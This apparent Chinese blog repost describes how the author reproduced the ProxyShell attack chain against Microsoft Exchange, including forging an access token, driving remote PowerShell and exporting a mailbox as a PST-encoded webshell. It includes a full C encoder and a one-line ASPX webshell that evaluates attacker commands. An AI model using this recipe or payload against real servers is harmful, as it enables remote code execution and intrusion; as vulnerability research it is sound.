【安全漏洞】ProxyShell漏洞复现详解
前言
幾天前,Orange在他的BlackHat演講中又曝出了兩條Microsoft Exchange攻擊鏈,即ProxyOrcale和ProxyShell,前者主要用于Padding Orcale攻擊,后者則利用路徑混淆漏洞實現任意文件寫入并最終執行代碼。
本文假設讀者已經閱讀了Orange的幻燈片,并對ProxyLogon具有基本的了解。
另外,請注意,出于顯而易見的原因,這里不會公開相應的exploit。相反,本文旨在分享我在復現RCE漏洞和編寫exploit方面的經驗。
漏洞鏈
SSRF
這個攻擊是從利用一個SSRF漏洞開始的,該漏洞是由于一些奇怪的URI解析造成的路徑混亂所致。
PowerShell端點
然后,通過訪問內部網絡,我們可以嘗試訪問/powershell端點,從而實現與Exchange PowerShell之間的通信。請注意,由于Exchange的Powershell環境的緣故,我們可以運行的命令是非常有限的。
通過利用SSRF漏洞,我們就能以NT Authroity/System的身份來訪問/powershell端點。這在正常情況下是沒有問題的,但在這種情況下,由于無法識別,因此無法通過身份驗證。因此,我們需要降低我們的權限來獲得對端點的訪問權限。
該端點需要一個名為X-CommonAccessToken的HTTP頭部,但我相信Exchange不會將這個頭部轉發到內部后端服務器。然而,我們可以通過另一種方式獲得令牌:通過提供一個名為X-Rps-CAT的GET參數,其中存放令牌內容;之后,它將被反序列化并添加為X-CommonAccessToken。
執行PowerShell命令
有了驗證自己身份的方法,我們就可以更進一步,嘗試實現代碼執行。正如我之前所說,由于當前環境下會受到各種限制,因此,我們可以利用的東西很少。但是,卻存在這樣一個命令:通過它,我們能夠在機器的任何位置寫入文件……但是,文件只能是PST格式。
但是,PST文件并不是把所有的內容都放以明文形式存放,相反,該格式會將文件內容進行編碼,這在微軟的官方文件中是有介紹的。
所以,我們可以先對payload進行編碼,然后,在生成并被編碼PST文件時,會對payload再次進行編碼,這將使最終結果保持不變。
同時,因為我們可以提供一個網絡共享,這意味著我們可以直接告訴Exchange導出文件到\127.0.0.1\C$\pathto\shell。這個webshell雖然不是很優雅,但的確能用。
但在這之前,我們需要讓我們控制的用戶擁有導出郵件的權限。為此,我們需要借助于New-ManagementRoleAssignment,我們可以通過它把郵箱導入導出的角色分配給用戶。
發送Payload
解決了這個問題后,我們就可以設法發送有效載荷。由于我們將利用New-MailExportRequest,所以,我們需要向要導出的郵箱里發送一封包含有效載荷的郵件。
我發現,有兩種方法可以解決這個問題。其中,一種方法是Orange使用的方法,發送一封郵件到地址,然后導出它。另一種方法,是Peter和Jang在Peter的博客中提出的方法:使用EWS來冒充用戶,并將包含有效負載的草稿保存為附件。
我決定采取第二種方法,因為它更加方便。
復現漏洞
在上面的章節中,我已經解釋了攻擊鏈的基本概念,現在是時候進行復現了。
SSRF部分其實并不重要,它只是后面所有攻擊的入口,但本身并沒有什么技術上的挑戰。
構造CommonAccessToken
所以,我們需要一個有效的令牌,但真正的問題是:怎樣才能獲得一個有效的令牌呢?
為了抓去一個令牌示例,我設置了一些斷點,攔截了Exchange內部發送的一些請求。最后,得到了下面這樣一個令牌:
X-CommonAccessToken:VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZGXEhlYWx0aE1haWxib3g3ZjRiOTM1VS1TLTEtNS0yMS0xOTU2NzE2NjYxLTMwNzcyMTY4MjctMzc2OTU5MzkzLTExMzVHBgAAAAcAAAAsUy0xLTUtMjEtMTk1NjcxNjY2MS0zMDc3MjE2ODI3LTM3Njk1OTM5My01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAIUy0xLTE4LTFFAAAAAA==很明顯,這里使用了base64編碼;在解碼之后,我決定利用hexdump軟件進行觀察,因為其中含有數百萬個不可打印的字符。
從hexdump中,我們可以看到一些關鍵字符串:Kerberos、Windows、usernames,以及一些SID。此外,還有一些以單個字母作為前導的數據,這里假設其結構為:Type-Length-Value。
我對一些DLL進行了反匯編,以考察令牌是如何被序列化和反序列化的,并獲得一些大致的想法。其中,最令人感興趣的DLL是Microsoft.Exchange.Security.Authorization.dll。
在Deserialize函數中,我們可以看到V代表版本,T代表類型,C代表壓縮的意思。
而E則代表擴展數據的意思。
在WindowsAccessToken中,我們可以找到額外的信息。
其中,A代表認證類型,L代表登錄用戶,U代表用戶SID,最后,G代表組SID。
現在,我們已經知道了令牌的格式,接下來,我們將嘗試構建自己的令牌。但現在問題出現了:我們需要一個SID和組SID,對吧?
如果您關注過ProxyLogon的漏洞,就會知道如何去做了。我們可以通過發送一個請求給https://exchange/autodiscover/autodiscover.xml,首先獲得傳統的域名,然后,使用傳統的域名,通過發送另一個請求給https://exchange/mapi/emsmdb/,來找到用戶的SID。
那么組SID呢?嗯,在Windows中,用戶的SID是唯一的,但組的SID卻不是。例如,對于管理員組中的用戶,其組SID是S-1-5-32-544。順便說一下,普通用戶的組SID是S-1-5-32-545。
所以,我們基本上掌握了所需的全部信息,那么,我們該如何構建一個令牌呢?對于版本、類型、壓縮、授權方面,我們可以保持原樣。實際上,我們只需要改變登錄名、用戶SID以及組SID。
下面是用來生成令牌的部分代碼:
我并沒有真正弄明白為什么組SID后面總是跟著\x00\x00\x07,在這一點上我真的太懶了。而且,這也不是很重要。
我們已經成功偽造了自己的令牌,現在是時候測試一下,看看能否訪問Powershell端點了。
如果響應代碼是200,這意味著令牌已經被接受,我們大功告成。否則,則可能需要進行一些調試……
使用遠程Powershell
下一個大任務是實現與Powershell端點的通信。實際上,該端點是通過WSMan協議的Powershell進行遠程通信的。而WSMan是一個基于HTTP與SOAP XML的協議,如果我們自己動手實現該協議的話,將是一件非常痛苦的事情。
但我們很幸運,有人已經完成了這項艱巨的工作。因為我們可以利用Python庫PyPSRP來完成相應的工作。
不過,我們還有一件事需要處理。由于WSMan是直接與目標服務器進行對話的,也就是說,很可能是通過HTTP與exchange:5985端口進行通信的。但我們的情況有點不同。我們需要它與Powershell端點進行通信,而不是其他端口。那么,我們如何實現這一點呢?
首先,我想看看請求是什么樣子的,所以,我在自己的機器上設置了一個本地監聽器,并發送了一個WinRM請求。在這個測試過程中使用的代碼如下所示:
實際上,username、password和auth段其實并不重要,因為這個請求不會發往外部。相反,我們只是想讓它發送至127.0.0.1:8080端口,用于測試。
事實證明,這個請求并沒有多大區別,我們只需要改變XML數據中的主機字段和一些URI數據即可。
但是,具體該怎么做呢?由于PyPSRP并不支持這種東西,所以,我希望借助于burp,這時我產生了一個想法:我可以為WinRM實現一個本地HTTP代理服務器。
下面是我畫的一個簡單的示意圖:
下面給出HTTP服務器的代碼:
在編寫exploit時遇到的另一個障礙是線程問題。因為執行到http.service_forever()的時候,服務器就停止了;經過一番研究,我想到一個辦法:在另一個線程中啟動服務器,這樣就好了。
我還想指出,在執行Powershell命令時,一定要進行必要的清理工作,比方說,刪除導出請求記錄。實際上,有一個Remove-MailboxExportRequest命令,可以用來刪除這些記錄。
發送Payload
我們需要向Exchange Web Service(EWS)發送一個XML請求,以創建一個帶有payload附件的電子郵件草稿。為了節省讀者的時間,因為我已經花了一天的時間在這上面,這里直接給出相應的XML模板。它是在Peter提供的payload的基礎上改造而成的。
下一個部分代碼中含有我們的payload,它實際上就是一行ASPX webshell命令:
下一部分代碼,將對payload進行編碼,所以,當PST再次進行編碼時,將恢復為明文形式的payload。
在微軟的頁面上,我稍微修改了一下代碼,編譯并保存了二進制數據,然后對其進行了base64編碼。
#include < stdio.h > #include < windows.h > #include < string.h >byte mpbbCrypt[] ={65, 54, 19, 98, 168, 33, 110, 187,244, 22, 204, 4, 127, 100, 232, 93,30, 242, 203, 42, 116, 197, 94, 53,210, 149, 71, 158, 150, 45, 154, 136,76, 125, 132, 63, 219, 172, 49, 182,72, 95, 246, 196, 216, 57, 139, 231,35, 59, 56, 142, 200, 193, 223, 37,177, 32, 165, 70, 96, 78, 156, 251,170, 211, 86, 81, 69, 124, 85, 0,7, 201, 43, 157, 133, 155, 9, 160,143, 173, 179, 15, 99, 171, 137, 75,215, 167, 21, 90, 113, 102, 66, 191,38, 74, 107, 152, 250, 234, 119, 83,178, 112, 5, 44, 253, 89, 58, 134,126, 206, 6, 235, 130, 120, 87, 199,141, 67, 175, 180, 28, 212, 91, 205,226, 233, 39, 79, 195, 8, 114, 128,207, 176, 239, 245, 40, 109, 190, 48,77, 52, 146, 213, 14, 60, 34, 50,229, 228, 249, 159, 194, 209, 10, 129,18, 225, 238, 145, 131, 118, 227, 151,230, 97, 138, 23, 121, 164, 183, 220,144, 122, 92, 140, 2, 166, 202, 105,222, 80, 26, 17, 147, 185, 82, 135,88, 252, 237, 29, 55, 73, 27, 106,224, 41, 51, 153, 189, 108, 217, 148,243, 64, 84, 111, 240, 198, 115, 184,214, 62, 101, 24, 68, 31, 221, 103,16, 241, 12, 25, 236, 174, 3, 161,20, 123, 169, 11, 255, 248, 163, 192,162, 1, 247, 46, 188, 36, 104, 117,13, 254, 186, 47, 181, 208, 218, 61,20, 83, 15, 86, 179, 200, 122, 156,235, 101, 72, 23, 22, 21, 159, 2,204, 84, 124, 131, 0, 13, 12, 11,162, 98, 168, 118, 219, 217, 237, 199,197, 164, 220, 172, 133, 116, 214, 208,167, 155, 174, 154, 150, 113, 102, 195,99, 153, 184, 221, 115, 146, 142, 132,125, 165, 94, 209, 93, 147, 177, 87,81, 80, 128, 137, 82, 148, 79, 78,10, 107, 188, 141, 127, 110, 71, 70,65, 64, 68, 1, 17, 203, 3, 63,247, 244, 225, 169, 143, 60, 58, 249,251, 240, 25, 48, 130, 9, 46, 201,157, 160, 134, 73, 238, 111, 77, 109,196, 45, 129, 52, 37, 135, 27, 136,170, 252, 6, 161, 18, 56, 253, 76,66, 114, 100, 19, 55, 36, 106, 117,119, 67, 255, 230, 180, 75, 54, 92,228, 216, 53, 61, 69, 185, 44, 236,183, 49, 43, 41, 7, 104, 163, 14,105, 123, 24, 158, 33, 57, 190, 40,26, 91, 120, 245, 35, 202, 42, 176,175, 62, 254, 4, 140, 231, 229, 152,50, 149, 211, 246, 74, 232, 166, 234,233, 243, 213, 47, 112, 32, 242, 31,5, 103, 173, 85, 16, 206, 205, 227,39, 59, 218, 186, 215, 194, 38, 212,145, 29, 210, 28, 34, 51, 248, 250,241, 90, 239, 207, 144, 182, 139, 181,189, 192, 191, 8, 151, 30, 108, 226,97, 224, 198, 193, 89, 171, 187, 88,222, 95, 223, 96, 121, 126, 178, 138,71, 241, 180, 230, 11, 106, 114, 72,133, 78, 158, 235, 226, 248, 148, 83,224, 187, 160, 2, 232, 90, 9, 171,219, 227, 186, 198, 124, 195, 16, 221,57, 5, 150, 48, 245, 55, 96, 130,140, 201, 19, 74, 107, 29, 243, 251,143, 38, 151, 202, 145, 23, 1, 196,50, 45, 110, 49, 149, 255, 217, 35,209, 0, 94, 121, 220, 68, 59, 26,40, 197, 97, 87, 32, 144, 61, 131,185, 67, 190, 103, 210, 70, 66, 118,192, 109, 91, 126, 178, 15, 22, 41,60, 169, 3, 84, 13, 218, 93, 223,246, 183, 199, 98, 205, 141, 6, 211,105, 92, 134, 214, 20, 247, 165, 102,117, 172, 177, 233, 69, 33, 112, 12,135, 159, 116, 164, 34, 76, 111, 191,31, 86, 170, 46, 179, 120, 51, 80,176, 163, 146, 188, 207, 25, 28, 167,99, 203, 30, 77, 62, 75, 27, 155,79, 231, 240, 238, 173, 58, 181, 89,4, 234, 64, 85, 37, 81, 229, 122,137, 56, 104, 82, 123, 252, 39, 174,215, 189, 250, 7, 244, 204, 142, 95,239, 53, 156, 132, 43, 21, 213, 119,52, 73, 182, 18, 10, 127, 113, 136,253, 157, 24, 65, 125, 147, 216, 88,44, 206, 254, 36, 175, 222, 184, 54,200, 161, 128, 166, 153, 152, 168, 47,14, 129, 101, 115, 228, 194, 162, 138,212, 225, 17, 208, 8, 139, 42, 242,237, 154, 100, 63, 193, 108, 249, 236};#define mpbbR (mpbbCrypt)#define mpbbS (mpbbCrypt + 256)#define mpbbI (mpbbCrypt + 512)void CryptPermute(PVOID pv, int cb, BOOL fEncrypt){// cb -> buffer size// pv -> bufferbyte * pb = (byte *)pv;byte * pbTable = fEncrypt ? mpbbR : mpbbI;const DWORD * pdw = (const DWORD *) pv;DWORD dwCurr;byte b;if (cb >= sizeof(DWORD)){while (0 != (((DWORD_PTR) pb) % sizeof(DWORD))){*pb = pbTable[*pb];pb++;cb--;}pdw = (const DWORD *) pb;for (; cb >= 4; cb -= 4){dwCurr = *pdw;b = (byte) (dwCurr & 0xFF);*pb = pbTable[b];pb++;dwCurr = dwCurr >> 8; b = (byte) (dwCurr & 0xFF);*pb = pbTable[b];pb++;dwCurr = dwCurr >> 8; b = (byte) (dwCurr & 0xFF);*pb = pbTable[b];pb++;dwCurr = dwCurr >> 8; b = (byte) (dwCurr & 0xFF);*pb = pbTable[b];pb++;pdw++;}pb = (byte *) pdw;}for (; --cb >= 0; ++pb)*pb = pbTable[*pb]; }void main(){char[] payload = "< script language='JScript' runat='server' Page aspcompat=true >function Page_Load(){eval(Request['cmd'],'unsafe');}< /script >";int length = strlen(payload);CryptPermute(payload, length, false);printf(payload);}最后,我真的搞不清楚什么是正確的編碼方式,只好進行蠻力測試,直到有一個成功為止。
現在,漏洞鏈的每個部分都搞定了,終于可以把組合在一起進行測試了。
測試結果
盡管webshell有點亂,但借助于正則表達式的威力,我們仍然可以得到一個比較清晰的結果。
小結
這一次,我們根據其他研究人員的論文,實現了自己的漏洞利用方法。說實話,這個攻擊鏈真的很酷,我在利用這個漏洞的過程中學到了很多東西。我非常感謝Peter的文章,也感謝Orange提供的這個驚人的攻擊鏈。希望本文對于大家理解這個漏洞能夠有所幫助。
我收集了相關的資料與工具,有需要的朋友可以關注私信我哦!!!
【資料詳細】
總結
以上是生活随笔為你收集整理的【安全漏洞】ProxyShell漏洞复现详解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 中国台湾芯片设计商 Realtek 的W
- 下一篇: 【网络安全】OWASP基准测试测评篇